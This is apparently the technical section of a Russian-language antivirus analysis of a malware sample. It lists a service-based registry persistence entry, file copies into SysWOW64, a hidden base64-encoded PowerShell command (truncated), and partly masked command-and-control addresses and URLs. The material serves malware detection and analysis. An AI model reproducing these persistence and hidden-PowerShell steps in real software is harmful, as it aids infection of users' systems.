Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\kbd101b] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\kbd101b] 'ImagePath' = '"%WINDIR%\SysWOW64\shimgvw\kbd101b.exe"'
- 'kbd101b' "%WINDIR%\SysWOW64\shimgvw\kbd101b.exe"
- 'kbd101b' %WINDIR%\SysWOW64\shimgvw\kbd101b.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD UwBlAFQALQB2AEEAcgBJAEEAYgBsAGUAIAAoACcAcgAnACsAJwBPADIAJwArACcAVwBmAHEAJwApACAAKAAgACAAWwBUAHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsAMQB9AHsANAB9AHsANQB9AHsAMAB9ACIALQBmACAAJw...
- %HOMEPATH%\w3g1ayh\mu2lfei\bxlkhjq99.exe
- %WINDIR%\syswow64\shimgvw\kbd101b.exe
- %HOMEPATH%\w3g1ayh\mu2lfei\bxlkhjq99.exe в %WINDIR%\syswow64\shimgvw\kbd101b.exe
- '75.##8.96.231':80
- http://nu#####eedomsystem.com/cgi-bin/eYae/
- http://75.##8.96.231/7vgBN9l/Vro7/jszI6gPeaIm4Kodo/lMMA6RIK/GghKNCa2kgixsxOGZ/vRUSEZvY0mvzo/
- DNS ASK nu#####eedomsystem.com
- '%HOMEPATH%\w3g1ayh\mu2lfei\bxlkhjq99.exe'
- '%WINDIR%\syswow64\shimgvw\kbd101b.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD UwBlAFQALQB2AEEAcgBJAEEAYgBsAGUAIAAoACcAcgAnACsAJwBPADIAJwArACcAVwBmAHEAJwApACAAKAAgACAAWwBUAHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsAMQB9AHsANAB9AHsANQB9AHsAMAB9ACIALQBmACAAJw...' (со скрытым окном)